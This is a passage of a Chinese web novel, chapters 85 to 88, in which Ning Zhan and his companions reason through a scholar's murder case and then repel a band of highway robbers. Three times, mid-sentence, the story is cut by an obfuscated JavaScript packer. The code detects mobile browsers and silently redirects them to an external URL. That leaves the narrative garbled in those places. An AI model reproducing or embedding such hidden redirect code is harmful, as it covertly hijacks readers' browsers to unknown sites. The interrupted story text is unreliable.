仔细想，步溪那般邪门的巫术他都信了，遗体凭空消失还称得上奇？前番周连亲信“尸身”在人来人往的寻芳楼前没了影，不就是先例？ 对宁佳与的质疑，宁展可以列十数个反驳的理由，但嘴上顺着她：“不信。” “无怪那些人用私通做文章了。所谓害死常先生的凶犯好端端在牢里，落锁书房的遗体居然不翼而飞。传出去吓坏的哪里是学生而已，满朝权臣都要汗流浃背。” 宁佳与气得想笑，遣词愈发狠辣。 “聚众讨伐卞修远的节骨眼，死人不能提，凭空消失的死人更不能提。大伙儿全逃回家关起门躲鬼了，何来冤大头为文官冲锋陷阵？” “......小与，你也消消气。” 宁展不料宁佳与会为一纸之词情绪失控。他伸出右手，以宁照例呈递，东西搁在宁佳与端起的臂弯。 “给，步溪集镇的含桃。品评一下，有陈老伯保证的那样甜？” 宁佳与才见过宁展让景以承噤声的路数，如何不明白宁展意图？但她真是好一阵子没吃含桃，遂用心尝了，道：“甜。” 不待宁展放松，另一侧波澜复起。 “可是......”景以承发怵，又直觉不对，“果如阿宁所言，常先生因信急火攻心、倒地不起，那卞世子......不真成罪魁祸首了吗？” “密报转述证人和衙役的话，真假几何，光设身处地想远远不足，须亲临其境去探。查清一桩案和做好一位皇帝，皆无捷径可循。 “你若未屡下荒村、远赴边疆，端坐高堂，瞧百官半遮半掩地报坊间疾苦，无从得知奏疏潦草带过的‘饥不择食’非是啃树皮、饮雨雪，而是吃人肉、灌人血；便是高堂左右俱立贤臣，民生凋零你尽数了然，尔后大手一挥，拨黄金万两赈灾济贫。地方呢？” 宁展提起掖于左掌下的信纸，重复审视，不耽误聚精会神的景以承听讲。 “天高皇帝远。地方蛀虫永远活在你设想的掌心，你摸不清它长着几条腿，更做不到真正捏死它。这就是为何我们要途经汴亭。” 景以承没有称帝的志向，却不惊讶宁展含着怎样一颗野心。因为他理解，话中的皇帝，可指明君，亦可指贤臣，甚至小商小贩、无名之人。 他只管体悟，亲身践行。来日，宁展完成大业，自己学成出师，没准儿他能做济世得力的左膀右臂。 85. 病树 宁展不抬眼，上下唇一碰就把拉远的正题轻松悠了回来。 景以承热血沸腾，许是听讲听的，或是车里闷的，总之立马欲冲破舆顶直抵汴亭王城，为受苦落难的人们主持公道，全然忘却先前对汴亭的恐惧。 “元兄！我也能捏死虫子吗？”景以承琢磨着自己的拳头，五指反复张开再握紧。他意兴正浓，但一想要捏不知几条腿的害虫，心里不住打鼓，笑得难为情，“还是有些害怕。” “可以。”宁展肯定道，“你可以害怕，也可以捏死虫子。胜人者有力，自胜者强[1]。你有与生俱来的强大，不必惦记着去战胜谁。多么害怕都能捏死虫子，景兄，这就是你。” 景以承罕见被人夸红脸，难以相信此等美言是在形容他。 他压不下咧到耳根的嘴角，边努力摆手，边小声询问：“既然暗桩的消息六天即可从汴亭送达步溪，我们......也可以罢？” 宁展沉吟良久。景以承不免着急，忙不迭解释：“大家不用处处照顾我！若要连日赶路，没问题！千万别为我耽搁行程呀。” 宁展破颜为笑，道：“不是赶路的问题。景兄可会骑马？” “啊？”冷水兜头浇醒躁动的景以承。他脑袋埋进怀中的包袱，声音跟着闷了，“不会，一点儿不会。” “柳姑娘呢？”宁展顺其自然转头，看向柳如殷，“会骑马么。” “不会。”柳如殷笑道。 宁佳与惯爱插科打诨，快速接话：“我也骑不好。” “你看，我们没有特别照顾谁。但是景兄啊，”宁展拍两下景以承的左肩表示安慰，“纵使能力再强，莫盲目冲杀，还得学着分辨旁人的言谈举止，哪些可信、哪些不可信。” 景以承双眼发亮，请教道：“如何分辨？” “目前，暗桩确定淫词艳本于常春堂查获，及卞修远写给将军夫人的信是叫她‘莫要犯傻，莫要归家’。”宁展耐心折叠纸条，“那么误教与私通之间，是否有可信的罪名？” “卞修远为人正派，又是元老门生，岂会做那般误人子弟之事？不可信！至于私通......” 景以承对前者毫不犹豫，对后者却百般纠结。 他冥思苦想，然这辈子见证的有情人屈指可数，勉强拿得出手的经验之谈，便是母亲留与父王的遗书。没有旁的对照可考，他只能靠猜。 “卞修远那封信，意思难道是二人曾经有情，如今他身陷囹圄，预备与常先生分道扬镳，劝其早日放下？不对不对，还是说常先生与公孙将军因这私情生了嫌隙，是以卞修远狱中忧其安危，提醒她莫归家？” 论两个人之间有无情意，景以承更愿意相信天底下有情人居多。 他的世界，俨然尽是待感情或浓或淡者，不存在彻头彻尾的冷血动物。以致他透过信里眷注，想当然看到卞修远与常先生有情，而忽略了“私情”二字究竟意味着什么。 “错了。”宁展收好折成半指宽的密报，“两个都不可信。” “那也答对了其中之一！”景以承不放弃道，“元兄为何算我错了？” “人，做得到佯狂、卖傻、假正派。才智，没有便装不出来，怎样掩饰，本质仍是无能。无能之人够不到高位，譬如墨珩。卞修远不同，若他未曾糊涂，要误人子弟，何必从自己名下的私塾着手？这类拙劣的栽赃，我不是没经历过。即物穷理，万事万物皆为“理”的体现。景兄说的其中之一，就错在‘误教不可信’的理。” 宁展条分缕析，不似夫子堂上声色俱厉的调子，倒像与同窗们茶余饭后纵谈。聚在没有学监[2]盯视的旬假，无须刻意避讳什么，只管畅所欲言。 “第二呢，街坊尽知将军夫人被称作常先生，证明先生在常春堂教书的时日不短，与卞修远多少有些交情。但六天前，卞修远早已是狱中囚犯，他递信出来，免不了司圜例行检查。无论二人是否有私情、有何种私情，信的内容理应润饰得宜，才不会惹祸上身。卞修远如此直白的关切，这信，就显然不是单靠私情解释得通了。” 聪明人知故犯时，要么情非得已，要么另有谋划。 宁展一面说，景以承一面垫着包袱磨墨。他掏出狼毫和小册准备奋笔疾书，宁展话音都散干净了，他却拿不准从何处开始记。 景以承横衔笔杆，懊恼道：“元兄，你当初是怎么摆脱那栽赃的？” 宁展背绳索、爬陡坡，为大家蹚道引路。 景以承则顶着满头白雾横冲直闯不算完，后襟更是任半道那最不起眼的老树桠挂得老高，整个人摇来荡去，嘴里还要吆喝“世子老师救命”。 宁展握水袋的手顿在嘴边，口含豆汤，吞不得、喷不妥。他平复再三，艰难咽下，依然被景以承跑偏的重点呛得直咳。 宁佳与见状给他递来手帕。他愣眼接了，迟钝道：“......多谢。” “也多谢你。”宁佳与晃晃手里装着含桃的布兜。 景以承赶紧丢了狼毫和册本，拥上主座替宁展拍背顺气。拳头看似无力，竟把宁展捶至跟病中老翁一样抚胸咳喘。 气息未缓，宁展引手将景以承请回侧座。 他神色复杂地瞥几眼那拳头，其硬度堪比风干半载的面团，一时不知该说自己是没看错人还是瞎了眼。 “我不用摆脱。” 宁展执帕拭去残渍，稍作考量，决定洗净了帕子归还宁佳与，便好生收入内袋。他捡起滚落脚边的狼毫，交与景以承。 “想给我摁进墨川细作的坑，也得有理。谁会相信嘉宁世子弃当世英名不顾，反去掺合那点子无谓的勾当？况且，得民心者，不必为那些没来由的小事与人纠缠。” 景以承恰好翻到册本记过的“先民心，后天下”，恍然有悟。 他展开新页，提笔嘟囔：“这个不可信，那个不可信，遗体凭空消失不可信......元兄，还有什么不可信吗？” “还有常先生的死。非但过世蹊跷，所有人的反应都怪得很。文官们本可以明着把这条人命算到卞修远头上，适巧尸体消失了，及时又诡异，使他们无法草草结案，甚至不敢提发生了命案。而卞修远，入狱六日，早不见晚不见，选在得知常先生死讯后，坦露进刑部大牢唯一的要求是见公孙将军。两人见着了。” 宁展合手“啪”一拍，摊开两掌。 “遗体不见了。” “元兄是说......”景以承抵着狼毫穷思半晌，笔头在他清瘦的脸上戳出个小窝，“卞修远调虎离山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15011637|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，和旁人里应外合？” “差不多罢。”宁展看景以承想得辛苦，直言道：“这个‘旁人’，兴许就是公孙将军。” 景以承原以为“虎”是公孙岚，听得后话顿时撑大了眼圈。他手指一松，狼毫滑下半截，脸上的小窝也不见了。 “遗体消失不是关键。”宁佳与道，“关键是报官。倘公孙将军不报官，自己筹谋，抑或未赶在贴出结案公文之前报官——偌大汴亭，便谁都能是让遗体消失的人。独命案本身的凶犯成定局，是卞修远脱不开的罪责。” 公孙岚初次报官，换来官府敷衍了事，故发觉遗体失踪，秘而不泄自己查反倒稳妥。他选择重蹈覆辙，可谓与卞修远行事怪到一处去了。 宁展看着布袋兜的含桃，颇为欣赏，轻笑道：“是了。如今官府一日寻不到凭空消失的遗体，命案就结不清。卞修远进了刑部大牢又如何？某些人顶多让他在里边儿吃苦，却判不了要他人头落地的罪。” 景以承对七州大典的卞世子印象全无，好像从未会面，又像将会面置之脑后了。但他连宴席上人人拥簇的嘉宁大殿下的模样都记得模糊，不记得卞修远实在情理之中。 是以景以承由传言认识过卞修远，其人则始终是浮于幻想的一团影。 宁展和宁佳与对卞修远的略作解析，景以承已心生畏惧。无声无息的精明，较迎头袭来的刀剑和拳眼更令他胆颤。 那团影是云烟夹着朔气，散于静悄悄的隆冬。万里无风起，人却遍体生寒。 “照这么看，卞世子临危不乱，处境并没有我们预想的凶险......”景以承为自己盲目同情深感羞耻，话音逐渐接近“嗡嗡”飞远的蚊虫。 “没错。相比之下，”宁展收回目光，“跃出水面的鱼儿要危险些。” “这命案被人堵在常春堂门内传不开——如是元老先生不清楚其中利害，不就正中文官奸计了？！”景以承亟亟道。 所谓鱼儿，其实指的不止元铭意。舆内，似乎只景以承没听明白。 “舅姥爷确与几位老友将手书贴上官府替卞修远伸冤理枉，也跟着被衙役监押。但我私以为，”宁展慢条斯理地摆平广袖，“这不叫中计。” 汴亭历经野火燎山，森森士林形如槁木。而随妖风翻滚的狂涛，不光有难更仆数的沙砾，还有苟延残喘的病树。 几株仅存的病树，是同卞修远一般不为斗米折腰的方正之士，真正的清流。 然越是六尘不染，越不能容忍脏水泼白衣。 “即使他老人家知晓真相，亦然照做不误。元家清风，当得起百年盛名。这样的世家，”宁展道，“值得来者不断追随。” 李施道元氏无情，那无情所负之人，包括元家个个九死无悔的倔性子。 人不怕死，谁都劝不动，什么都拦不住。 世家门前，皆有各自认定的路要走。 李氏的千秋功成万骨枯，元氏的留取丹心照汗青，江氏的千金散尽还复来，韩氏的蹈节死义不留痕。 沿途巨浪摧折也好，霜压雪欺也罢，哪怕残败的枯枝将面对株连蔓引，水火不避。他们与同道中人彼此扶持，齐倾身，赴湍流，不问对错，高歌猛进。 来日，总能迎得柳暗花明的春。 86. 奇祸 乘舆在官道上跑过四日，途中经停驿站也仅是稍作休整。往往歇不到两个时辰，赶车的青竹隐士便再度挥起缰绳。 奈何驶入汴州境内，路越近汴亭王城越狭窄，颠簸不止，夹道草莽蹿得近乎比人高，马车拐弯没少被盲区的坑洼拖延脚程。 帘幕于几人眼前第八次乍然起飞，景以承反手扒紧脑后的窗框，为这既意外又不意外的差池做足了准备。 一顿碰撞轰响，他上身是勉强贴住了车壁，下身则精准坐进以宁无比抗拒的臂弯。 整架乘舆头低尾高斜倒，车身卡着凹陷边缘，两个后轮骨碌碌悬空打转。 “诶哟，抱歉抱歉！”景以承使出浑身解数挪回座，身子还是随车歪着。 以宁右肩抵着门框，左肩不得已和他两肩相靠。 景以承想揉揉磕疼的屁股蛋，却抽不了手，小声抱怨：“阿宁，不是我说你这臂缚太硬了，坐着硌人。” 景以承虽非五大三粗的块头，但怎么着是个弱冠男子，压人身上够呛。 “臂缚又不是用来坐的。”以宁道。 他本就被挤得有些不悦，谁知被挤的未开口，挤人的却满腔怨言。若不是他适间手快，及时抬起臂弯拦景以承，这自作聪明扒窗子的怕要直接坐他脸上才算完。 宁展和宁佳与双双撑住各自两旁的车壁，尽力稳住身子。这混乱他见怪不怪，目光确认宁佳与无虞便扶舆顶下车了。 “柳姐姐，还好吗？”宁佳与暂且坐主座，否则也得如景以承压住以宁一样，挤得柳如殷融车壁里不可。她左手扶座，右手捡跌地的水袋，环顾道：“大家有没有受伤？” 柳如殷发丝凌乱，但总是微笑。 她拨开长发，为护着脑袋，另一只手屡次与门框硬碰硬的指骨节正隐隐发痛，却说：“还好。” “我也无事！就是......”碍于男女有别，景以承终究没轻易把自己屁股蛋儿疼的事情明白托出。 四日缓下来，以宁已复归少言寡语，因此并未应声，只颔首致意。 “先下车罢。”宁展在外呼唤，“这回陷得深。” 宁佳与带头起身，缓步挪出倾斜的马车，掀了帘幕，眼前大滩避无可避的泥淖。 她抬头望，宁展立于一丈外，脚边稀泥淤积。宁展悬着手臂，似要在那头接住将越过泥淖的她。 自离开步溪，宁展褪了宁馨备的垂袂宽袍，换上类同隐士的利落劲装——襟不过颈，袖不离臂，革带掐腰，甲裾齐腿肚，束靴及膝头。 通身藏青，宜昼宜夜。 那样轻便的衣着下摆都爬了不少泥点子，凭轻功从马车前室跃往平地的难度可想而知。 宁展算幸运的，还有余地自己抉择进退。原先坐外边赶车那位就惨了，不仅满身湿润的土黄，此际仍背对众人在马儿旁啐泥巴。一瞧便是没刹住稳身子，扑泥淖吃了个嘴饱。 马儿倒是不比步溪的迟笨，碰见坑知道跳，没摔着自己，更不曾受惊，百无聊赖地嚼伸头就能够到的青草。 宁佳与向左移几寸，起跳路线与那头候着的宁展相错，随即脚尖点上支地的车辕，腾空踏起两步，眨眼工夫便稳当当停在宁展手侧。 她从容回身，顺势而动的赤色短襟落定。胡蝶翩飞其间，堪掠纤尘，不沾泥泞。 宁佳与是潇洒自如，被婉拒好意且技不如人宁展该如何收场？宁展垂手的落寞极短暂，她却看在眼里。 宁佳与瞥着宁展脚下与其衣摆同样染脏的靴面，打趣道：“公子何不借车辕踏来，要踩泥水过？污渍可难去得很，到头来，元公子不会又要躲懒，使唤在下替你刷鞋罢。” 这调侃貌似随意，藏的“学问”多了。 碍于乘舆倾斜，两人都无法借前室为踏板，否则马车受着力，没准儿还得继续往下塌，但前端支着平地的车辕可以轻踩。 此种情况，看的便是谁能把轻踩控制得当。 宁佳与轻功向来在宁展之上，比宁展游刃有余毋庸置疑。然不知宁展是自视力所不逮，还是不愿冒险去试，直截放弃踏车辕的法子踩水。 从泥水深浅判断，甚至不能称他是“踩”水，而是“蹚”水，整个靴面亦呈现任泥水浸过的模样。 宁佳与所言的躲懒，不单在翻宁展戏弄她刷鞋的旧账，更暗指宁展不战而退的消极。 汴亭或有大敌当前，消极的念头可谓百害无利。对她来说，宁展恼怒、镇定云云均属寻常，她就是没见过灰心泄劲的宁元祯。 宁佳与的激将法话里话外挖苦人，宁展那点儿落寞倒消解了。 他侧耳听舆内嘁嘁喳喳的议论和风过灌丛的沙沙声，许久没人掀帘落车，遂拱手笑道：“小与，先前的事是我不对，今日给你赔罪了。望女侠大人大量，往后饶元某一命？” 宁佳与早已没了行刺他的想法，至少宁展看来是这样。是以他道饶命，实拜托宁佳与让昔日的旧账翻篇。 “那得看公子的诚意。” 宁佳与话音才落，便瞧以宁也大剌剌蹚泥水过来。溅束靴的污渍较宁展只多不少，衣摆处尤甚，落地后滴答甩了一大圈泥。 她不解地退开几步，给以宁腾位子，悄声问宁展：“你们青竹阁认真的？阁里从上到下，这些年全学剑去了？” 半点儿轻功不练呗？ 前头那番话也不尽是调侃，她当真忧心——酷暑炎炎，以近日赶路的条件，大家换的衣裳无不浸汗，包袱里那些邋遢的有无闲空晾上一晾都成问题，遑论能否洗净泥渍。 宁展瞟几眼宁佳与受以宁波及的墨靴，难说她指的哪个“剑”。不待宁展答话，泥淖车帘边钻出个颤巍巍的脑袋。 “......上、上邪呀，这这这！你、你们晓得我——” 景以承抱着门框往下看，生怕不留神泡进去变泥人了。 “我和柳姑娘不会武的呀，这是我想飞就飞起来的吗？” 以宁抓了抓头发，请示沉默的宁展：“公子，不若他们二人就待在车里？属下力大，咱们四个在外边儿推车，未必不可行。” “你我自小一起长大，你有多少气力，用得着跟我强调么？”宁展收回极目四望的视线，负手而立，良久不语。 依宁佳与、宁展、以宁兼驾车隐士四位习武之人的力量，推动载一男一女的乘舆不难。 以宁没猜透宁展打的哑谜，却不好放着僵局不管，决计开口问个明白。他将将靠宁展半步，腰间佩剑居然一沉。 他旋即按住剑柄，回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宁佳与垂首抿去笑意，逐步逼近窄道两侧超过自己两个头的草丛，观察车身，高声道：“无妨！待会儿推车，横竖我这点气力帮不上大忙，就由我回车为大家取来好了！” “欸——”景以承自信拍胸脯，“有咱们几个男儿在，哪里用得着劳累——” 话音未落，对面的绿丛霎时涌出数十个提刀扛斧的蓬头大汉！ 为首那位胡子拉碴，从宁佳与身后猛然钳制住她肩颈。其余人将宁佳与团团包围，举柴刀指着景以承等人。 “打劫！” 这声咆哮及挥在空中的十几把斧子吓得景以承两腿发抖。他仓皇抓上以宁小臂，梗着脖子与那群大汉对吼。 “你你你！你们好大胆子，莫非以为人多势众管用吗！快把小——快把这位姑娘放了！不然，”景以承努起下巴对着以宁，“不然，我叫他要你们好看！” 尽管宁佳与方才的行迹可疑非常，以宁当下仍是把宁佳与看作自己人，毕竟宁佳与的确救过殿下几回。他压着剑柄，目光如箭，怎料尚未抬脚，宁展垂眸侧首。 是禁止行动的命令。 87. 阎王 劫匪瞧景以承下装污糟得很，长发也随意簪在脑后，不似讲究冠袍齐楚的富贵人家，体型弱不胜衣，仿若一把斧子砸去就要哭，压根没把他虚张声势的话当回事。 “少啰嗦！你们谁是这女伢儿的哥？！”扼制宁佳与的胡子男人在簇拥中清了嗓，提起屠刀，挨个凭空点过景以承那方的人头，“你？你？你？还是你？！” “是我。” 数十对眼睛随声寻，则见一位少年神清气正，于色如死灰的几人间兀自泰然。 走道时，他高束脑后的长发纹丝不动，独那藏青发带携风微摇，品貌不凡。如此修饰，确与他们头儿手里挟持的姑娘像一家子。 是宁展自以宁身前半臂处迈开半步。 “你不准动！”胡子男人忙将刀架宁佳与肩上，“要是有一个人敢动，等着给你妹妹收尸罢！” 宁佳与闻言哂笑，不作任何挣扎，好声好气道：“这位大哥，我很厉害的。” “老实点！莫想耍花头（花招）！”胡子男人再度令刀刃迫近宁佳与的喉，复学着官话对宁展呼喝：“你！上马车把银子取来，乖乖交给我们，你妹妹还有命活！” 宁佳与垂眼瞥见刀刃锋利，心里不知害怕二字怎么写，只觉这胡子大哥的腔调有些熟悉。且这熟悉并不遥远，言犹在耳。 “现在。”宁展盯着宁佳与颈间的屠刀。他腰间并未佩剑，声色不动，身后的手早已握成拳，“我可以动了么。” “等哈（等下）！”胡子男人注意到宁展一身劲装，即刻变卦。他转眼瞟身态、衣着皆可谓单薄的柳如殷，“就她，她单独去！取来搁地上，快去，麻利点！” 以宁的犹豫未及出口，宁展便回眸警告。 宁展看向柳如殷，和缓道：“劳烦柳姑娘代我走一趟。” 柳如殷闷声点点头，算是应下。她提起拖泥带水的衣摆，举步前不安地望了眼以宁。 原本素净的轻纱粘连成沉甸甸的累赘，脚下泥淖分明可以踩实，她却如履薄冰。 柳如殷撑着车辕爬上马车，伸手撩起帘幕挂在门框边，让立于乘舆前方的宁展等人得以看清形势，聚在车后的劫匪则不明所以。 舆内是宁展、宁佳与、柳如殷及景以承各自的行囊，除此外，还剩一只水袋单独留置。 为免乘舆摇晃或塌陷，柳如殷不敢妄动。 她跪坐车中，首先拾起自己的包袱，一清二楚呈于胸前，眼神透出询问的意思，宁展毫无波澜；她又分别拎起景以承和宁佳与的包袱，宁展依旧无动于衷；最后，她才捧起宁展的包袱，对方终于首肯。 两位互不熟识，噤声对望的交流貌似繁难，然全程不过少顷间。 柳如殷不常表现显著的谨慎和清醒，因为这是她所谓“没见过世面的民女”不会有的一面。宁展从未把她这套说辞当真。 “莫要磨蹭！”胡子男人不耐烦地叫嚷，“拿了银子赶紧过来，还想不想要这女伢儿的命了！” “这就来，就来。”柳如殷匆促站起，险些被不受摆布的衣装绊倒。 她抱稳宁展的包袱，脚步却慌急，重新踏进泥淖时溅出几至与膝盖同高的水花，惹得狼藉的轻衫愈加不堪入目。 柳如殷没有按照男人事先的交代把银子放地上。 她眉眼温婉，神色恳切，捧着怀里的织花缎面。纱带包裹的素手不经意抬高，她抚开额前发丝，脸颊不免沾了泥渍，行步姿态如柔枝易折，是我见犹怜的模样。 “大哥，银子都在这里了。拜托您，放过我们家妹妹。” 跟前几个执斧头的汉子最年轻，胸膛处的旧衣缝满补丁依然七穿八洞，麦色肌肤正不停淌汗。蓬乱的头发缠着杂草，鼻梁及额前数道因穿梭草莽染的尘垢。 真要论起来，他们比此刻的柳如殷干净不了多少。估摸着成天在日头下四处奔波，粗野惯了。 到底是血气方刚的儿郎，怎抵那般温柔乡若即若离？ “......老大，咱们拿银子放人罢？” 眼看用于威慑人的斧子齐齐要为温柔乡归降，胡子男人陡然大骂：“你敢耍老子！你们一行六个，就带这么些东西出来，以为老子好呼（骗）啊？！” 柳如殷满面无措，顺势踩上几块碎石，脚腕一扭，好比浑身软骨，虚弱地向前倒去。 她不着痕迹扯散包袱，衣物、银锭、宁展的佩剑与她同时摔落宁佳与脚边。 人群中爆发惊呼：“老大！有银锭！” 这声似乎唤醒了对面的本性。 他们甩开膀子，蜂拥踏至，无数脚黄土踩上散开的织花缎面、柳如殷的衣摆，乃至她撑在地上的手。不消多时，银锭被一扫而光，宁展的绮绣衫袍片布无存，连那块包裹的脏缎子也不知任哪只手捡了去。 唯余柳如殷跌坐原处，无人关心。 宁展同以宁一前一后，趁乱奔扑。 宁展跑过三步便蹬地跃起，追风逐影的力度和节奏像极了听雪阁调子。 再像，终归未及其精髓，听雪阁亦挑不出几人能与这调子的祖师爷媲美。 他目标明确，直冲那位似笑非笑的“祖师爷”飞去。 以宁紧跟宁展足迹，执柄拔剑，白刃应时破空，径指匪群。 “你们——”胡子男人不料迎面急袭的两个男子如此不顾人质安危，一下慌了神。他拼命遮掩手中打哆嗦的屠刀，嘴上忍不住对同伴嘶喊：“来、来啊，杀了他们！” 与此同时，宁佳与猝尔伸出右腿，脚掌快速擦过地上的长剑，剑身贴着巧劲悠离地面。 她脚尖一勾，瞧长剑横卧靴面须臾，接着毫无保留地蓄力上踢！ 宁展那柄镂刻雕花的剑瞬间带起泥浆，劈头袭来！宁佳与早有预想，提前矮身阖了眼。 长剑在胡子男人面门磕下一记重击，泥水随之炸眼。他粗哑的嗓子在宁佳与耳畔哀嚎，手忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024619|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚乱，迷了方向。 宁佳与于钳制中绕后撤腿，旋步脱身。 男人捂眼朝天的间隙，她迅即高踢其后脊，一脚将人踹趴下，男人面朝黄土、从头到脚砸得结实。宁佳与扬起折扇，弯腰“啪、啪”两响打到男人双腿的麻筋。 宁展疾步赶来，起手捞住下坠的佩剑，藏青束靴就踩在胡子男人脑袋旁。 他单膝蹲伏，姿态放得极低，教人错认他要大发慈悲放过这伙劫匪，言语淡不可闻。 “不是早告诉你了，她很厉害的。” 余下的劫匪愣头呆脑杵在四周，目目相觑，明显说不准这劲装持剑却透着端雅的公子如何处置老大，且谁都鼓不起围攻的勇气。 其实杀人越货的营生不好做。 这行当看似能够横行霸道、大肆敛财，可既没有大多安分守己之人日子清静，也不像卖力气的佣工脚踏实地。 刀尖舔血的路，暗阁隐士至少有看家本领傍身，用命挣得来暖衣饱食，背后立着大州作靠山。而山匪流寇拼死拼活，多半吃不了几口热乎饭。 今番这票干完，每人手中略有收获便称得上走狗屎运的大买卖一桩了。 “一个个不想活了吗，还等什么！” 头顶阴沉的语调唬得胡子男人不敢睁眼，他撑嗓子怒号，试图撑地爬起，却被坚硬的棍状物抵着后脑。缓慢而强劲的力道将他重新压入泥里，是以口齿含糊。 “杀了突物（他们）！” 男人得不到任何回音。 整张脸挤压黄土，窒息感愈发浓烈，另一只侥幸没堵泥水的耳朵竭力搜寻着动静，只听四下俱是渐行渐远的窸窣声。他连日奔波，不是交差换货就是潜伏野草间，莫说吃喝拉撒，连觉都在那儿睡，怎不知窸窣从何而来？ 操！那群小屁孩嘴上喊“老大”喊得勤，眼看死到临头跑得更快，全是丢盔弃甲的逃兵，他这个头儿无疑成了“盔”和“甲”。 宁展不下令，以宁便执剑守在他身侧，静观数十把斧子落荒而逃，消失于丛莽。 宁佳与边走边把银骨扇系回腰侧，没几步停了，弯腰扶起狼狈的柳如殷。景以承心神未定，步子虚浮，也一晃一颠跑来帮忙。 “老实交代。”宁展剑鞘抵着男人后脑，平静道，“可有亲手杀过人。杀过几个。” 宁佳与捏着自己的束带替柳如殷擦脸、拭手，冷不丁听到不远处熟悉的说辞，下意识睨了宁展的背影一眼。若非对宁展想问什么有数，她几乎要以为宁展合计将这位大哥收入青竹阁了。 男人感觉脑袋上的力道放轻不少，忙不迭扭脸呼吸。 他喘过气来，嚷得憋屈：“你、你个毛头小子，做什么在这里拿腔拿调吓唬人！有本事，有本事一刀送老子下去见阎王！” “想见阎王？好啊。” 宁展笑声极轻，却能裹挟着尖锐的寒意锥入剑下这颗头颅。 “这可是你说的。” 88. 差错 夏夜热闹非凡，即或汴亭的城郊地界也概莫能外。 张灯结彩，觥筹交错，均为触目可见之景。高谈大论，语笑喧哗，亦是倾耳得闻之声。 时隔两日，宁佳与终于得闲洗了这头披灰纳尘的长发。 她握着师父备的绒巾，将水汽未消的青丝拢作整束捧在身侧，一面缓步走向窗棂，一面揉擦湿润。 鲜明的桐油味刺鼻袭来，宁佳与凑近轻嗅，果然是麻纸的味道。 她左手拉开窗扉，发现不仅桐油是新刷的，整扇窗户完美得挑不出瑕疵，开合时固有的“吱呀”响儿都消得干净。 宁佳与立于客栈第三层上房，举目远眺，青葱草莽大片大片闯入眼帘，与今次几人遭遇流匪劫道所目睹的别无二致。 非得论出什么分别，就是置身其中和窥得全貌的感受不同了。 无怪流匪在光天化日之下依旧可以做到来去自如，丛莽这般密集而广袤，寻常来说恐怕唯有白歌之类的飞禽兽形才能一览无余。 白歌...... 这小子现下会在做什么？宁佳与倚窗暗想，擦拭的动作逐渐迟缓。 是忙着接手她先前负责的暗阁庶务？抑或是，在慈幼庄后厨用软糖同小鬼们换大米饭？还是，赖在师父的院子告她黑状？ 自宁佳与得李施准许单独外出办差始，白歌为了告状，无一次不追着她尾巴后头飞的。 她虽谈不上对白歌跟踪她的行径了如指掌，但若不算其最拿手的通讯，白歌各方面功夫总体而言终究赢不过她，难免暴露诸如翎羽、爪印的痕迹破绽，她很难不觉察。 可宁佳与那日拜别师父后就在留意，仍许久不见那些熟悉的痕迹。大抵是白歌看开了懒得跟她作对，抑或像步千弈那般。 谁都不愿再见她最后一面。 如此，想来白歌也不屑于告她的黑状了。 而慈幼庄的小鬼头，把两大兜子宝贝忍痛给了她，如今还爱吃糖吗？若是不爱吃糖了，白歌又怎么换得来大米饭？ 听雪阁...... 其实未曾有过什么需要她负责的庶务。她接的差事，说白了就是师父由着她开心挑的，换了谁都能做的闲职。 片刻恍惚，原本包裹湿发的绒巾从掌中滑落，与窗沿擦肩，凌空跃下。 宁佳与忙不迭俯身去救，那抹雪白却已落入他人手里。 二层窗沿上搭着一只黑袖，袖中白净的手近乎与绒巾浑然一体，修长的五指将其稳攥拳心。 “嗯？小与，这是你掉的？” 先闻此音清切，才得其人笑靥。 宁展顺着尾音探出头，反身往三层仰望。 他身着墨色中衣，领襟拢得悠闲，长发随意披散，恰似宁佳与将将沐浴完毕的模样。言语时，松散的袖口和绒巾一并在宁佳与眼底晃，唇角扬着宁佳与常见的欣然自得。 显然是明知故问的弧度。 “元公子雅兴啊。”宁佳与倒不急着拆穿对方。她收回捞空的双臂，贴上窗沿，稍歪出半个脑袋，“这大晚上的，不下正堂用饭，不上床榻休息，就披着亵衣，专来窗边拣姑娘家掉的东西玩儿？” 宁展闻言不禁笑眯了眼，复佯作正经道：“话不能乱说。元某一番好心，小与没道声谢便罢，怎的责难起我了？” 诚然，这家客栈生意兴隆，且施设处处焕然若新，毕竟是座位于城郊地界的楼宇。走出花天锦地，便要踩过提履沾泥的黄土地。 适简不是宁展搭救，任那绒巾坠楼，雪白颜色怕再难恢复如初了。 话又说回来，不过保住一块布巾，宁展甚至不知此物是否同她有何了不得的羁绊，这举手之劳要是连着旁人，哪里值得宁展如此理直气壮去讨谢？就是拿准了她大恩也言谢、小情亦感激的性子。 宁佳与若有所思。 眼珠子转完几圈，她犹未想好如何替师父的绒巾报救命之恩，干脆扒稳窗沿，整个脑袋挪了出去，满怀诚意地看着宁展。 “那公子希望我如何答谢你？” 